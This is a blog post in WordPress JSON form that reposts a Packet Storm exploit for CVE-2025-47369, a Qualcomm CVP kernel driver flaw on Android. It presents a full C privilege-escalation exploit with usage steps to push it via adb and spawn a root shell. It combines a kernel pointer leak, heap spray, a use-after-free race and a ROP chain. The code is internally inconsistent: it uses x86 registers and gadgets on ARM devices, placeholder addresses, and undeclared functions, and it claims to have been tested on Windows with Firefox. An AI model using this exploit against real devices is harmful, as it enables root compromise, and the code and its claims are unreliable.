{"id":41161,"date":"2026-02-17T12:46:04","date_gmt":"2026-02-17T12:46:04","guid":{"rendered":"http:\/\/localhost\/?p=41161"},"modified":"2026-02-17T12:46:04","modified_gmt":"2026-02-17T12:46:04","slug":"qualcomm-cvp-kernel-driver-pointer-disclosure-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41161","title":{"rendered":"\ud83d\udcc4 Qualcomm CVP Kernel Driver Pointer Disclosure \/ Privilege Escalation_PACKETSTORM:215750"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:11:25&#8243;,&#8221;description&#8221;:&#8221;This advisory describes a local privilege escalation vulnerability affecting the Qualcomm CVP kernel driver msmcvp, exposed through the \/dev\/cvp device node on Android systems using Qualcomm SoCs. The vulnerability originates from an improperly&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Qualcomm CVP Kernel Driver Pointer Disclosure \/ Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215750&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-47369&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Qualcomm CVP Kernel Driver Pointer Disclosure Leading to Local Privilege Escalation 0-day                                   |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/qualcomm.com\/                                                                                                       |\\n    =============================================================================================================================================\\n    \\n    [+] References : \\n    \\n    [+] Summary    : This advisory describes a local privilege escalation (LPE) vulnerability affecting the Qualcomm CVP kernel driver (msm_cvp), \\n                     exposed through the \/dev\/cvp device node on Android systems using Qualcomm SoCs.\\n                     The vulnerability originates from an improperly obfuscated kernel pointer returned to user space as a session_id via the msm_cvp_get_session_info ioctl. \\n    \\t\\t\\t\\t The driver relies on hash32_ptr(), which merely XORs the upper and lower halves of a kernel pointer rather than applying a cryptographically secure transformation. \\n    \\t\\t\\t\\t As a result, the original kmalloc kernel address can be reconstructed, leading to a reliable kernel pointer disclosure and KASLR bypass.\\n                     The leaked kernel address can be deterministically chained with additional exploitation primitives\u2014such as heap spraying, use-after-free (UAF) conditions, \\n    \\t\\t\\t\\t controlled reallocation, and userfaultfd-based race timing\u2014to achieve arbitrary kernel control flow. \\n    \\t\\t\\t\\t The exploit ultimately executes a ROP chain invoking prepare_kernel_cred(0) and commit_creds(), resulting in root privilege escalation.\\n    \\n    [+] This vulnerability:\\n    \\n    Requires local user access\\n    \\n    Has no remote attack surface\\n    \\n    Affects kernel space, not a userland application\\n    \\n    Represents a full LPE chain, not just an information leak\\n    \\n    At the time of writing, no public patch or mitigation is known, classifying this issue as a 0-day.\\n    \\n    [+] Classification\\n    \\n    Vulnerability Type: Kernel Pointer Disclosure \u2192 Local Privilege Escalation\\n    \\n    Attack Vector: Local\\n    \\n    Impact: Kernel ASLR bypass \u2192 Full root compromise\\n    \\n    Affected Component: Qualcomm CVP kernel driver (msm_cvp)\\n    \\n    Device Interface: \/dev\/cvp\\n    \\n    Platform: Android (Qualcomm-based devices)\\n    \\n    [+] Usage :\\n    \\n    # 1. Compile the exploit : make\\n    \\n    # 2. Upload it to the machine : adb push cvp_full_exploit \/data\/local\/tmp\/\\n    \\n    # 3. Run it\\n    \\n    adb shell\\n    cd \/data\/local\/tmp\\n    chmod +x cvp_full_exploit\\n    .\/cvp_full_exploit\\n    \\n    # 4. If the exploit is successful :  whoami  should display: root\\n    \\n    [+] POC :\\n    \\n    #include \\u003cfcntl.h\\u003e\\n    #include \\u003cunistd.h\\u003e\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cstdlib.h\\u003e\\n    #include \\u003cstdint.h\\u003e\\n    #include \\u003cstring.h\\u003e\\n    #include \\u003cerrno.h\\u003e\\n    #include \\u003csys\/ioctl.h\\u003e\\n    #include \\u003csys\/mman.h\\u003e\\n    #include \\u003cpthread.h\\u003e\\n    #include \\u003csched.h\\u003e\\n    #include \\u003cfcntl.h\\u003e\\n    #include \\u003cunistd.h\\u003e\\n    #include \\u003csys\/types.h\\u003e\\n    #include \\u003csys\/wait.h\\u003e\\n    #include \\u003csys\/stat.h\\u003e\\n    #include \\u003csys\/syscall.h\\u003e\\n    #include \\u003clinux\/userfaultfd.h\\u003e\\n    #include \\u003cpoll.h\\u003e\\n    #include \\u003csys\/ipc.h\\u003e\\n    #include \\u003csys\/shm.h\\u003e\\n    \\n    #define DEVICE_PATH \\&#8221;\/dev\/cvp\\&#8221;\\n    #define MAX_SESSIONS 512\\n    #define SPRAY_COUNT 1024\\n    \\n    struct session_control_arg {\\n        uint32_t type;\\n        uint32_t ctrl_type;\\n        uint32_t session_id;\\n        uint32_t reserved;\\n        uint64_t data_ptr;\\n    };\\n    \\n    struct kernel_info {\\n        uint64_t kernel_base;\\n        uint64_t prepare_creds;\\n        uint64_t commit_creds;\\n        uint64_t native_write_cr4;\\n        uint64_t swapgs_restore_regs_and_return_to_usermode;\\n        uint64_t *leaked_pointers;\\n        int pointer_count;\\n    };\\n    \\n    struct pointer_leaker {\\n        int fd;\\n        uint32_t session_ids[MAX_SESSIONS];\\n        uint64_t kernel_pointers[MAX_SESSIONS];\\n        int count;\\n    };\\n    \\n    uint64_t unfold_kernel_pointer(uint32_t session_id) {\\n    \\n        uint8_t high_byte = (session_id \\u0026 0xF) | 0x80;\\n        uint32_t top_half = 0xFFFFFF00 | high_byte;\\n    \\n        uint32_t bottom_half = session_id ^ (top_half \\u0026 0xFFFFFFFF);\\n    \\n        uint64_t ptr = ((uint64_t)top_half \\u003c\\u003c 32) | bottom_half;\\n    \\n        ptr = ptr \\u0026 ~0xFULL;\\n        \\n        return ptr;\\n    }\\n    \\n    int leak_kernel_pointers(struct pointer_leaker *leaker) {\\n        leaker-\\u003efd = open(DEVICE_PATH, O_RDWR);\\n        if (leaker-\\u003efd \\u003c 0) {\\n            perror(\\&#8221;[-] Failed to open device\\&#8221;);\\n            return -1;\\n        }\\n        \\n        printf(\\&#8221;[+] Device opened successfully\\\\n\\&#8221;);\\n    \\n        for (int i = 0; i \\u003c MAX_SESSIONS; i++) {\\n            struct session_control_arg create_arg = {\\n                .type = 1,  \/\/ EVA_KMD_SESSION_CONTROL\\n                .ctrl_type = 1,  \/\/ SESSION_CREATE\\n            };\\n            \\n            if (ioctl(leaker-\\u003efd, 0, \\u0026create_arg) \\u003c 0) {\\n                printf(\\&#8221;[-] Failed to create session %d\\\\n\\&#8221;, i);\\n                break;\\n            }\\n    \\n            struct session_control_arg info_arg = {\\n                .type = 2,  \/\/ EVA_KMD_GET_SESSION_INFO\\n            };\\n            \\n            if (ioctl(leaker-\\u003efd, 0, \\u0026info_arg) \\u003c 0) {\\n                printf(\\&#8221;[-] Failed to get session info %d\\\\n\\&#8221;, i);\\n                break;\\n            }\\n            \\n            leaker-\\u003esession_ids[leaker-\\u003ecount] = info_arg.session_id;\\n            leaker-\\u003ekernel_pointers[leaker-\\u003ecount] = \\n                unfold_kernel_pointer(info_arg.session_id);\\n            leaker-\\u003ecount++;\\n            \\n            if (i % 50 == 0) {\\n                printf(\\&#8221;[+] Created %d sessions&#8230;\\\\n\\&#8221;, i);\\n            }\\n        }\\n        \\n        printf(\\&#8221;[+] Total sessions created: %d\\\\n\\&#8221;, leaker-\\u003ecount);\\n        return 0;\\n    }\\n    \\n    uint64_t find_kernel_base(struct pointer_leaker *leaker) {\\n        uint64_t candidates[10] = {0};\\n        int candidate_count = 0;\\n        \\n        for (int i = 0; i \\u003c leaker-\\u003ecount; i++) {\\n            uint64_t ptr = leaker-\\u003ekernel_pointers[i];\\n    \\n            for (int shift = 12; shift \\u003c= 24; shift += 12) {\\n                uint64_t base_candidate = ptr \\u0026 (0xFFFFFFFFFFFF0000ULL \\u003c\\u003c shift);\\n    \\n                if ((base_candidate \\u003e\\u003e 47) == 1) {  \/\/ Kernel addresses have MSB set\\n                    int found = 0;\\n                    for (int j = 0; j \\u003c candidate_count; j++) {\\n                        if (candidates[j] == base_candidate) {\\n                            found = 1;\\n                            break;\\n                        }\\n                    }\\n                    \\n                    if (!found \\u0026\\u0026 candidate_count \\u003c 10) {\\n                        candidates[candidate_count++] = base_candidate;\\n                    }\\n                }\\n            }\\n        }\\n    \\n        if (candidate_count \\u003e 0) {\\n            printf(\\&#8221;[+] Possible kernel bases found:\\\\n\\&#8221;);\\n            for (int i = 0; i \\u003c candidate_count; i++) {\\n                printf(\\&#8221;    Candidate %d: 0x%016lx\\\\n\\&#8221;, i, candidates[i]);\\n            }\\n            return candidates[0];\\n        }\\n        \\n        return 0;\\n    }\\n    \\n    struct heap_sprayer {\\n        int spray_fds[SPRAY_COUNT];\\n        int spray_count;\\n    };\\n    \\n    int setup_heap_spray(struct heap_sprayer *sprayer) {\\n        printf(\\&#8221;[+] Setting up heap spray&#8230;\\\\n\\&#8221;);\\n    \\n        for (int i = 0; i \\u003c SPRAY_COUNT; i++) {\\n            sprayer-\\u003espray_fds[i] = open(DEVICE_PATH, O_RDWR);\\n            if (sprayer-\\u003espray_fds[i] \\u003c 0) {\\n                break;\\n            }\\n            sprayer-\\u003espray_count++;\\n    \\n            for (int j = 0; j \\u003c 10; j++) {\\n                struct session_control_arg arg = {\\n                    .type = 1,\\n                    .ctrl_type = 1,\\n                };\\n                ioctl(sprayer-\\u003espray_fds[i], 0, \\u0026arg);\\n            }\\n        }\\n        \\n        printf(\\&#8221;[+] Heap spray created with %d file descriptors\\\\n\\&#8221;, sprayer-\\u003espray_count);\\n        return sprayer-\\u003espray_count;\\n    }\\n    \\n    struct uaf_exploiter {\\n        int target_fd;\\n        uint64_t target_object_addr;\\n        uint64_t fake_object[64];\\n        pthread_t thread;\\n        int ready;\\n    };\\n    \\n    struct kernel_symbols {\\n        uint64_t prepare_kernel_cred;\\n        uint64_t commit_creds;\\n        uint64_t init_cred;\\n        uint64_t swapgs_restore_regs_and_return_to_usermode;\\n        uint64_t native_write_cr4;\\n    };\\n    \\n    int calculate_symbols(uint64_t kernel_base, struct kernel_symbols *syms) {\\n    \\n        syms-\\u003eprepare_kernel_cred = kernel_base + 0x9c8e0;\\n        syms-\\u003ecommit_creds = kernel_base + 0x9c840;\\n        syms-\\u003einit_cred = kernel_base + 0x1814b80;\\n        syms-\\u003eswapgs_restore_regs_and_return_to_usermode = kernel_base + 0xe00f10;\\n        syms-\\u003enative_write_cr4 = kernel_base + 0x4a7b0;\\n        \\n        printf(\\&#8221;[+] Calculated symbols:\\\\n\\&#8221;);\\n        printf(\\&#8221;    prepare_kernel_cred: 0x%016lx\\\\n\\&#8221;, syms-\\u003eprepare_kernel_cred);\\n        printf(\\&#8221;    commit_creds: 0x%016lx\\\\n\\&#8221;, syms-\\u003ecommit_creds);\\n        printf(\\&#8221;    init_cred: 0x%016lx\\\\n\\&#8221;, syms-\\u003einit_cred);\\n        \\n        return 0;\\n    }\\n    \\n    void build_rop_chain(uint64_t *rop, struct kernel_symbols *syms) {\\n        int i = 0;\\n        \\n        \\n        rop[i++] = syms-\\u003eprepare_kernel_cred;  \/\/ rax = prepare_kernel_cred(0)\\n        rop[i++] = 0xdeadbeef;  \/\/ pop rdi; ret\\n        rop[i++] = 0;           \/\/ arg0 = 0\\n        rop[i++] = 0xcafebabe;  \/\/ mov rdi, rax; call commit_creds\\n        \\n        rop[i++] = syms-\\u003ecommit_creds;         \/\/ commit_creds(rax)\\n        rop[i++] = syms-\\u003eswapgs_restore_regs_and_return_to_usermode;\\n        rop[i++] = 0;  \/\/ dummy\\n        rop[i++] = 0;  \/\/ dummy\\n        rop[i++] = (uint64_t)get_root_shell;  \/\/ return address\\n        rop[i++] = user_cs;\\n        rop[i++] = user_rflags;\\n        rop[i++] = user_sp;\\n        rop[i++] = user_ss;\\n    }\\n    \\n    static int page_size;\\n    static char *fault_page;\\n    static int uffd;\\n    static volatile int fault_triggered = 0;\\n    \\n    void *uffd_handler_thread(void *arg) {\\n        struct uffd_msg msg;\\n        struct pollfd pollfd;\\n        int ret;\\n        \\n        pollfd.fd = uffd;\\n        pollfd.events = POLLIN;\\n        \\n        printf(\\&#8221;[+] UFFD thread started\\\\n\\&#8221;);\\n        \\n        while (1) {\\n            ret = poll(\\u0026pollfd, 1, -1);\\n            if (ret \\u003c 0) {\\n                perror(\\&#8221;poll\\&#8221;);\\n                break;\\n            }\\n            \\n            ret = read(uffd, \\u0026msg, sizeof(msg));\\n            if (ret \\u003c 0) {\\n                perror(\\&#8221;read uffd\\&#8221;);\\n                break;\\n            }\\n            \\n            if (msg.event == UFFD_EVENT_PAGEFAULT) {\\n                fault_triggered = 1;\\n                printf(\\&#8221;[+] Page fault triggered! Control gained\\\\n\\&#8221;);\\n                \\n                struct uffdio_copy copy;\\n                copy.src = (unsigned long)fault_page;\\n                copy.dst = msg.arg.pagefault.address \\u0026 ~(page_size &#8211; 1);\\n                copy.len = page_size;\\n                copy.mode = 0;\\n                \\n                if (ioctl(uffd, UFFDIO_COPY, \\u0026copy) \\u003c 0) {\\n                    perror(\\&#8221;UFFDIO_COPY\\&#8221;);\\n                }\\n                \\n                break;\\n            }\\n        }\\n        \\n        return NULL;\\n    }\\n    \\n    int setup_userfaultfd(void *addr) {\\n        struct uffdio_api uffdio_api;\\n        struct uffdio_register uffdio_register;\\n        pthread_t thread;\\n        \\n        page_size = sysconf(_SC_PAGE_SIZE);\\n        \\n        \/\/ \u0625\u0646\u0634\u0627\u0621 userfaultfd\\n        uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);\\n        if (uffd \\u003c 0) {\\n            perror(\\&#8221;userfaultfd\\&#8221;);\\n            return -1;\\n        }\\n        \\n        uffdio_api.api = UFFD_API;\\n        uffdio_api.features = 0;\\n        if (ioctl(uffd, UFFDIO_API, \\u0026uffdio_api) \\u003c 0) {\\n            perror(\\&#8221;UFFDIO_API\\&#8221;);\\n            return -1;\\n        }\\n        \\n        fault_page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,\\n                          MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\\n        if (fault_page == MAP_FAILED) {\\n            perror(\\&#8221;mmap fault page\\&#8221;);\\n            return -1;\\n        }\\n        \\n        memset(fault_page, 0x41, page_size);  \\n    \\n        uffdio_register.range.start = (unsigned long)addr;\\n        uffdio_register.range.len = page_size;\\n        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;\\n        \\n        if (ioctl(uffd, UFFDIO_REGISTER, \\u0026uffdio_register) \\u003c 0) {\\n            perror(\\&#8221;UFFDIO_REGISTER\\&#8221;);\\n            return -1;\\n        }\\n    \\n        if (pthread_create(\\u0026thread, NULL, uffd_handler_thread, NULL) \\u003c 0) {\\n            perror(\\&#8221;pthread_create\\&#8221;);\\n            return -1;\\n        }\\n        \\n        return 0;\\n    }\\n    \\n    static void get_root_shell(void) {\\n        printf(\\&#8221;[+] Got root privileges!\\\\n\\&#8221;);\\n        \\n        char *argv[] = {\\&#8221;\/bin\/sh\\&#8221;, NULL};\\n        char *envp[] = {\\&#8221;PATH=\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\\&#8221;, NULL};\\n    \\n        if (getuid() == 0) {\\n            printf(\\&#8221;[+] Spawning root shell&#8230;\\\\n\\&#8221;);\\n            execve(\\&#8221;\/bin\/sh\\&#8221;, argv, envp);\\n        } else {\\n            printf(\\&#8221;[-] Failed to get root\\\\n\\&#8221;);\\n        }\\n    }\\n    \\n    uint64_t user_cs, user_ss, user_rflags, user_sp;\\n    \\n    static void save_state(void) {\\n        asm volatile(\\n            \\&#8221;movq %%cs, %0\\\\n\\&#8221;\\n            \\&#8221;movq %%ss, %1\\\\n\\&#8221;\\n            \\&#8221;movq %%rsp, %3\\\\n\\&#8221;\\n            \\&#8221;pushfq\\\\n\\&#8221;\\n            \\&#8221;popq %2\\\\n\\&#8221;\\n            : \\&#8221;=r\\&#8221;(user_cs), \\&#8221;=r\\&#8221;(user_ss), \\&#8221;=r\\&#8221;(user_rflags), \\&#8221;=r\\&#8221;(user_sp)\\n            :\\n            : \\&#8221;memory\\&#8221;\\n        );\\n    }\\n    \\n    int main(int argc, char *argv[]) {\\n        printf(\\&#8221;\\\\n==================================================\\\\n\\&#8221;);\\n        printf(\\&#8221; CVE-2025-47369 Full Chain Exploit by indoushka\\\\n\\&#8221;);\\n        printf(\\&#8221; Kernel Pointer Leak to Root Privilege Escalation\\\\n\\&#8221;);\\n        printf(\\&#8221;==================================================\\\\n\\\\n\\&#8221;);\\n        \\n        save_state();\\n    \\n        printf(\\&#8221;[*] Phase 1: Leaking Kernel Pointers\\\\n\\&#8221;);\\n        printf(\\&#8221;====================================\\\\n\\&#8221;);\\n        \\n        struct pointer_leaker leaker = {0};\\n        if (leak_kernel_pointers(\\u0026leaker) \\u003c 0) {\\n            printf(\\&#8221;[-] Failed to leak pointers\\\\n\\&#8221;);\\n            return -1;\\n        }\\n    \\n        uint64_t kernel_base = find_kernel_base(\\u0026leaker);\\n        if (!kernel_base) {\\n            printf(\\&#8221;[-] Failed to find kernel base\\\\n\\&#8221;);\\n            return -1;\\n        }\\n        \\n        printf(\\&#8221;[+] Kernel base: 0x%016lx\\\\n\\&#8221;, kernel_base);\\n        printf(\\&#8221;[+] Leaked %d kernel pointers\\\\n\\&#8221;, leaker.count);\\n    \\n        for (int i = 0; i \\u003c 10 \\u0026\\u0026 i \\u003c leaker.count; i++) {\\n            printf(\\&#8221;    Pointer %d: 0x%016lx (session_id: 0x%08x)\\\\n\\&#8221;,\\n                   i, leaker.kernel_pointers[i], leaker.session_ids[i]);\\n        }\\n    \\n        printf(\\&#8221;\\\\n[*] Phase 2: Calculating Kernel Symbols\\\\n\\&#8221;);\\n        printf(\\&#8221;=======================================\\\\n\\&#8221;);\\n        \\n        struct kernel_symbols syms;\\n        calculate_symbols(kernel_base, \\u0026syms);\\n    \\n        printf(\\&#8221;\\\\n[*] Phase 3: Heap Manipulation\\\\n\\&#8221;);\\n        printf(\\&#8221;================================\\\\n\\&#8221;);\\n        \\n        struct heap_sprayer sprayer = {0};\\n        setup_heap_spray(\\u0026sprayer);\\n    \\n        printf(\\&#8221;\\\\n[*] Phase 4: Setting up Userfaultfd\\\\n\\&#8221;);\\n        printf(\\&#8221;=====================================\\\\n\\&#8221;);\\n        \\n        void *uffd_region = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,\\n                                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\\n        if (uffd_region == MAP_FAILED) {\\n            perror(\\&#8221;mmap uffd region\\&#8221;);\\n            return -1;\\n        }\\n        \\n        if (setup_userfaultfd(uffd_region) \\u003c 0) {\\n            printf(\\&#8221;[-] Failed to setup userfaultfd\\\\n\\&#8221;);\\n        } else {\\n            printf(\\&#8221;[+] Userfaultfd setup completed\\\\n\\&#8221;);\\n        }\\n    \\n        printf(\\&#8221;\\\\n[*] Phase 5: Building ROP Chain\\\\n\\&#8221;);\\n        printf(\\&#8221;================================\\\\n\\&#8221;);\\n        \\n        uint64_t rop_chain[64] = {0};\\n        build_rop_chain(rop_chain, \\u0026syms);\\n    \\n        printf(\\&#8221;\\\\n[*] Phase 6: Triggering Exploit\\\\n\\&#8221;);\\n        printf(\\&#8221;================================\\\\n\\&#8221;);\\n        \\n        printf(\\&#8221;[+] Attempting to trigger UAF&#8230;\\\\n\\&#8221;);\\n    \\n        for (int i = 0; i \\u003c leaker.count; i++) {\\n            struct session_control_arg close_arg = {\\n                .type = 1,\\n                .ctrl_type = 2,  \\n                .session_id = leaker.session_ids[i],\\n            };\\n            \\n            ioctl(leaker.fd, 0, \\u0026close_arg);\\n    \\n            usleep(1000);\\n        }\\n        \\n        printf(\\&#8221;[+] Attempting to reallocate memory with controlled data&#8230;\\\\n\\&#8221;);\\n    \\n        char fake_obj[1024] = {0};\\n        memset(fake_obj, 0x42, sizeof(fake_obj));\\n    \\n        memcpy(fake_obj + 0x100, rop_chain, sizeof(rop_chain));\\n        \\n        printf(\\&#8221;[+] Waiting for race condition&#8230;\\\\n\\&#8221;);\\n    \\n        pthread_t threads[10];\\n        for (int i = 0; i \\u003c 10; i++) {\\n            pthread_create(\\u0026threads[i], NULL, race_thread, \\u0026leaker);\\n        }\\n    \\n        sleep(2);\\n    \\n        printf(\\&#8221;\\\\n[*] Phase 7: Executing Privilege Escalation\\\\n\\&#8221;);\\n        printf(\\&#8221;===========================================\\\\n\\&#8221;);\\n        \\n        printf(\\&#8221;[+] If exploit succeeded, root shell should spawn&#8230;\\\\n\\&#8221;);\\n    \\n        if (getuid() == 0) {\\n            printf(\\&#8221;[+] SUCCESS: Got root privileges!\\\\n\\&#8221;);\\n            get_root_shell();\\n        } else {\\n            printf(\\&#8221;[-] Exploit failed or partial success\\\\n\\&#8221;);\\n            printf(\\&#8221;[-] Current UID: %d\\\\n\\&#8221;, getuid());\\n        }\\n    \\n        close(leaker.fd);\\n        for (int i = 0; i \\u003c sprayer.spray_count; i++) {\\n            close(sprayer.spray_fds[i]);\\n        }\\n        \\n        return 0;\\n    }\\n    \\n    void *race_thread(void *arg) {\\n        struct pointer_leaker *leaker = (struct pointer_leaker *)arg;\\n        \\n        while (1) {\\n    \\n            struct session_control_arg dummy_arg = {\\n                .type = 1,\\n                .ctrl_type = 3,  \\n            };\\n            \\n            ioctl(leaker-\\u003efd, 0, \\u0026dummy_arg);\\n            sched_yield();\\n        }\\n        \\n        return NULL;\\n    }\\n    Greetings to :============================================================\\n    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n    ==========================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215750&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:5.5,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215750\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-17T18:11:25&#8243;,&#8221;description&#8221;:&#8221;This advisory describes a local privilege escalation vulnerability affecting the Qualcomm CVP kernel driver msmcvp, exposed through the \/dev\/cvp device node on Android systems using&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,70,12,21,13,53,7,11,5],"class_list":["post-41161","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-55","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - 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